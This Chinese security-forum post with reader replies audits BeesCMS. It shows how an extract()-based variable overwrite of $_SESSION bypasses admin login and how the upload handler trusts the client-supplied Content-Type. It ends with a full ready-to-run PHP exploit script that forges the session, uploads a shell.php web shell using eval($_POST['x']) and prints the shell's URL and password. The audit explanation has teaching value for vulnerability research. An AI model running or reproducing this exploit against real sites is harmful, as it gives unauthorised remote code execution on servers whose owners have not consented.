用户
搜索
  • TA的每日心情
    奋斗
    2016-10-21 10:41
  • 签到天数: 2 天

    连续签到: 2 天

    [LV.1]初来乍到

    i春秋-见习白帽

    Rank: 3Rank: 3

    6

    主题

    48

    帖子

    195

    魔法币
    收听
    0
    粉丝
    14
    注册时间
    2016-10-5
    发表于 2016-10-21 15:00:37 3345785
    本帖最后由 索马里的海贼 于 2016-10-27 13:36 编辑
    1.文章难易度 【★★】
    2.文章知识点: 变量覆盖;
    3.文章作者:     索马里的海贼
    4.本文参与i春秋社区原创文章奖励计划,未经许可禁止转载!

    前言
    上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入。并且拿sql做为例子简单做了一次代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了。

    一、关注重点
    对于文件操作部分来说,首先对php内置的文件操作函数的作用和特性要有一个大概的了解
    file_get_contents()
    file_put_contents()
    move_uploaded_file()
    readfile()
    fopen()
    file()
    fputs()
    fwrite()
    …………

    这些都是常用的文件读写类函数,一般文件类的漏洞直接搜索这些函数的调用,跟踪上下文参数传递过程就可以了。说起来挺简单 其实要一个一个调用看过去还是很费时间的,尤其是在快速漏洞挖掘中,对系统结构还不太熟悉,有些参数传递或者方法可能一眼看上去就懵比了。那么如何来快速发现一个文件类的漏洞呢。
    审计文件类的漏洞,首先我会去看这套系统的上传部分。上传部分是已经构造完成的一套从输入到写入到输出的流程,如果其中存在问题,那么很可能直接就拿到shell。
    上传漏洞被挖了这么多年,各类cms或多或少都会在上传部分做一些检查和限制,常见的检查有
    1、$_FILES['file']['name'] 一般会从上传文件的文件名中取出扩展名,并与白名单或者黑名单做比较来判断是否继续上传。
    2、$_FILES['file']['type'] 上传文件的类型,一般是与白名单比较。
    3、$_FILES['file']['tmp_name'] 上传文件的临时保存文件,有些比较严谨的CMS会在这个阶段 用getimagesize等函数对临时文件做检查。如文件不合法 直接丢弃
    常见的限制有
    1、使用is_uploaded_file() 这个函数会检查$_FILES['file']['tmp_name'] 是否为合法的上传文件,当$_FILES被漏洞覆盖的时候,可被修改的$_FILES['file']['tmp_name']将是一个极大的安全威胁,如果处理文件上传的函数是copy 那么最轻都是一个任意文件读取的漏洞。
    2、单独使用move_uploaded_file()函数处理上传文件,理由同上,move_uploaded_file函数也会判断是否为合法文件。减少系统存在变量覆盖漏洞时躺枪的概率。
    3、文件名不可控且后缀名限制为某个数组的成员 比如
    [PHP] 纯文本查看 复制代码
    $ext=array('jpg','png','gif');
    $filename = 'user_avatar_01' . $ext[$s];

    接下来就看看我们的目标beescms

    二、实战
    先来看看beescms的上传部分代码
    [PHP] 纯文本查看 复制代码
    if(isset($_FILES['up'])){
    if(is_uploaded_file($_FILES['up']['tmp_name'])){
            if($up_type=='pic'){
                    $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
                    $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
                    $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
                    $logo=0;
                    $is_up_size = $_sys['upload_size']*1000*1000;
                    $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
                    $pic=$value_arr['pic'];
                    if(!empty($value_arr['thumb'])){
                    $pic=$value_arr['thumb'];
                    }
                    $str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
                    echo $str;
                    exit;
            }//图片上传
    }else{
    die('没有上传文件或文件大小超过服务器限制大小<a href="javascript:history.back(1);">返回重新上传</a>');
    }
    }

    可以看到  用is_uploaded_file检查了上传文件是否合法,所以即使系统有变量覆盖漏洞(这套系统的确是有的,后面会说),也帮不上多大忙了
    实际上传用的是up_img函数 接着跟过去看看
    [PHP] 纯文本查看 复制代码
    function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
                    if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
                    if(is_uploaded_file($file['tmp_name'])){
                    if($file['size']>$size){
                            msg('图片超过'.$size.'大小');
                    }
                    $pic_name=pathinfo($file['name']);//图片信息
                    
                    $file_type=$file['type'];
                    if(!in_array(strtolower($file_type),$type)){
                            msg('上传图片格式不正确');
                    }
                    $path_name="upload/img/";
                    $path=CMS_PATH.$path_name;
                    if(!file_exists($path)){
                            @mkdir($path);
                    }
                    $up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
                    $up_file_name2=iconv('UTF-8','GBK',$up_file_name);
                    $file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
                    
                    if(file_exists($file_name)){
                            msg('已经存在该图片,请更改图片名称!');//判断是否重名
                    }
                    
                    $return_name['up_pic_size']=$file['size'];//上传图片大小
                    $return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
                    $return_name['up_pic_name']=$up_file_name;//上传图片名
                    $return_name['up_pic_path']=$path_name;//上传图片路径
                    $return_name['up_pic_time']=time();//上传时间
                    unset($pic_name);
                    //开始上传
                    if(!move_uploaded_file($file['tmp_name'],$file_name)){
                            msg('图片上传失败','',0);
                    }


    好了来看看他的检查和限制
    [PHP] 纯文本查看 复制代码
    $file_type=$file['type'];
                    if(!in_array(strtolower($file_type),$type)){
                            msg('上传图片格式不正确');
                    }

    这里检查了上传文件的type 如果type不在白名单里 就直接提示出错
    这个检查其实做的是无用功,type来自客户端,想怎么伪造都可以
    再来看看保存的文件名
    [PHP] 纯文本查看 复制代码
    $pic_name=pathinfo($file['name']);//图片信息
    …………
    $up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
                    $up_file_name2=iconv('UTF-8','GBK',$up_file_name);
                    $file_name=$path.$up_file_name2.'.'.$pic_name['extension'];

    并没有做任何检查就直接取了$file['name'](就是我们上传时候的文件名)的后缀来给新生成的文件,只要伪造合法的type就能妥妥的getshell了


    三、一波三折
    结束了么?并没有,其实beecms这套系统前台根本就没有上传点。。。所有的上传功能都需要后台权限。一个后台getshell当然不能满足,于是继续挖掘。先来看看是怎么验证后台权限的
    admin/upload.php第二行
    [PHP] 纯文本查看 复制代码
    include('init.php');

    admin/init.php 第54行
    [PHP] 纯文本查看 复制代码
    if(!is_login()){header('location:login.php');exit;}

    来看看这个is_login函数
    includes/fun.php 第997行
    [PHP] 纯文本查看 复制代码
    function is_login(){
            if($_SESSION['login_in']==1&&$_SESSION['admin']){
                    if(time()-$_SESSION['login_time']>3600){
                            login_out();
                    }else{
                            $_SESSION['login_time']=time();
                            @session_regenerate_id();
                    }
                    return 1;
            }else{
                    $_SESSION['admin']='';
                    $_SESSION['admin_purview']='';
                    $_SESSION['admin_id']='';
                    $_SESSION['admin_time']='';
                    $_SESSION['login_in']='';
                    $_SESSION['login_time']='';
                    $_SESSION['admin_ip']='';
                    return 0;
            }
    
    }

    这里并没有对用户信息做检查,只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已
    前面说到过这套系统存在变量覆盖漏洞 如果能覆盖(添加)这几个$_SESSION值 就能绕过这个检查

    $_SESSION覆盖有个必须前提,session_start()必须出现在覆盖之前,不然就算覆盖了$_SESSION变量,一旦session_start()  变量就会被初始化掉。
    来看看覆盖的地方
    includes/init.php  部分代码省略
    [PHP] 纯文本查看 复制代码
    session_start();
    @include(INC_PATH.'fun.php');
    define('IS_MB',is_mb());
    
    unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
    if (!get_magic_quotes_gpc())
    {
        if (isset($_REQUEST))
        {
            $_REQUEST  = addsl($_REQUEST);
        }
        $_COOKIE   = addsl($_COOKIE);
            $_POST = addsl($_POST);
            $_GET = addsl($_GET);
    }
    if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}
        $_COOKIE   = fl_value($_COOKIE);
            $_GET = fl_value($_GET);
    @extract($_POST);
    @extract($_GET);
    @extract($_COOKIE);

    一个全局过滤的代码,最后用extract来初始化变量 由于没有使用
    EXTR_SKIP参数导致任意变量覆盖,又由于执行的时候已经session_start()了
    所以可以覆盖(添加)任意$_SESSION值。 这么一来就能绕过后台检查把一个后台getshell变成前台getshell了


    四、利用
    利用就很简单了,首先POST index.php
    _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999


    然后打开/admin/upload.php 选择一个php文件上传
    修改上传包中的Content-Type:为image/png就可以了

    算了还是把exp放上来吧。。。
    利用脚本具有攻击性,请在本地环境进行测试!
    请勿针对任何互联网站点使用本脚本!
    利用本脚本造成的一切后果与本人无关!

    [PHP] 纯文本查看 复制代码
    <?php
    print_r('
    ****************************************************
    *
    *    Beescms File Upload Vulnerability
    *    by SMLDHZ
    *    QQ:3298302054
    *    Usage: php '.basename(__FILE__).' url
    *    php '.basename(__FILE__).' [url]http://www.beescms.com/beescms/[/url]
    *
    ****************************************************
    ');
    if($argc!=2){
            exit;
    }
    $uri = $argv[1];
    $payload1 = '_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999';
    $payload2 = array(
    'up"; filename="shell.php"'."\r\nContent-Type:image/png\r\n\r\n<?php eval(\$_POST['x']);?>"=>''
    );
    preg_match('#Set-Cookie:(.*);#',myCurl($uri."/index.php",$payload1),$match);
    if(!isset($match[1])){
            die('[-]Opps! Cannot get Cookie...');
    }
    echo "[+]Got Cookie:".$match[1]."\r\n";
    echo "[+]Now trying to getshell...\r\n";
    $tmp = myCurl($uri."/admin/upload.php",$payload2,$match[1]);
    preg_match('#val\(\'(.*)\'\)#',$tmp,$shell);
    if(!isset($shell[1])){
            die('[-]Opps! Cannot get shell... see below\r\n'.$tmp);
    }
    echo "[+]Your shell:".$uri."/upload/".$shell[1]." [password]:x";
    
    function myCurl($url,$postData='',$cookie=''){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
            if($cookie != ''){
                    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
            }
            $ret = curl_exec($ch);
            curl_close($ch);
            return $ret;
    }


    总结
    写文章真尼玛累,其实整篇文章对于一个熟悉php代码审计的人来说,两句话就能说清楚了
    前台变量覆盖$_SESSION可绕过后台验证
    后台上传部分只验证了Content-Type导致getshell

    为什么写这么多,并不是为了多赚稿费(要是按字收费就好了。。。)我是希望不管小伙伴们懂不懂代码审计,都能看得下去这篇文章,不说看完能学到多少,至少step by step读下来没那么枯燥,新手看下来也能觉得有收获。






    评分

    参与人数 1价值分 +14 收起 理由
    zusheng + 14 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    发表于 2016-10-24 17:19:14
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    基本项加分项
    作者帖子标题内容要求内容稀缺性文章篇幅文章深度文章可读性是否系列文章排版优化总分奖金点评
    索马里的海贼[送0day]代码审计就该这么来3 beescms  getshell322231114150谢谢分享

    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    跟着小白走钻戒戴满手,只要鹏鹏在世界充满爱
    I春秋网络基本功、网络分析交流QQ群: 133837215
    使用道具 举报 回复
    发表于 2016-10-29 17:01:31
    作为初学代码审计的新人,表示跟着楼主的代码审计1,2,3系列真的学到了好多姿势,希望楼主继续
    http://www.on-the-way.top
    使用道具 举报 回复
    这边的$file_name的名称不是被rand随机了吗,上传以后怎么知道他的文件名??
    使用道具 举报 回复
    发表于 2018-7-27 11:51:40
    漏洞是分析了。可是上传后的路径名要爆破,不然鬼知道,显然楼主故意忽略
    使用道具 举报 回复
    好一个登陆处SESSION 变量覆盖加  MIME认证上传绕过
    使用道具 举报 回复
    这篇文章讲的很清楚,最后的步骤逻辑讲的也很清晰,赞!
    使用道具 举报 回复
    发表于 2018-12-13 11:41:09
    上传后的文件名怎么爆啊,关键点没说到啊
    使用道具 举报 回复
    发表于 2016-12-2 19:02:55
    深度好文,感谢分享
    使用道具 举报 回复
    坏蛋 管理员 欢迎大家来春秋群找我玩 秦 楚 燕 魏 齐 赵 春秋文阁
    沙发
    发表于 2016-10-21 15:37:42
    沙发妥妥的,支持一个
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋—楚:533191896
    i春秋—韩:556040588
    i春秋CTF交流学习群:234714762
    使用道具 举报 回复
    发表于 2016-10-21 18:21:25
    海贼牛威武,多读几遍
    使用道具 举报 回复
    发表于 2016-10-21 18:21:43
    占楼
    使用道具 举报 回复
    发表于 2016-10-21 19:51:18
    感谢楼主分享,以收藏
    使用道具 举报 回复
    发表于 2016-10-21 21:50:56
    膜拜索马里   
    使用道具 举报 回复
    代码审计啊
    使用道具 举报 回复
    发表于 2016-10-22 21:49:24
    学习了,感谢分享
    使用道具 举报 回复
    使用道具 举报 回复
    谢谢大牛的分享
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2016-10-25 07:52:34
    感谢分享
    使用道具 举报 回复
    讲得不错,涨姿势了
    使用道具 举报 回复
    白白 i春秋-白帽高手 i春秋首席鉴黄师----白白 突出贡献 春秋文阁 春秋巡逻 春秋游侠 核心白帽 白帽高手 春秋达人 幽默灌水王
    14#
    发表于 2016-10-25 15:13:43
    (⊙o⊙)…   学习了
    跟着小白走钻戒戴满手,只要鹏鹏在世界充满爱
    I春秋网络基本功、网络分析交流QQ群: 133837215
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册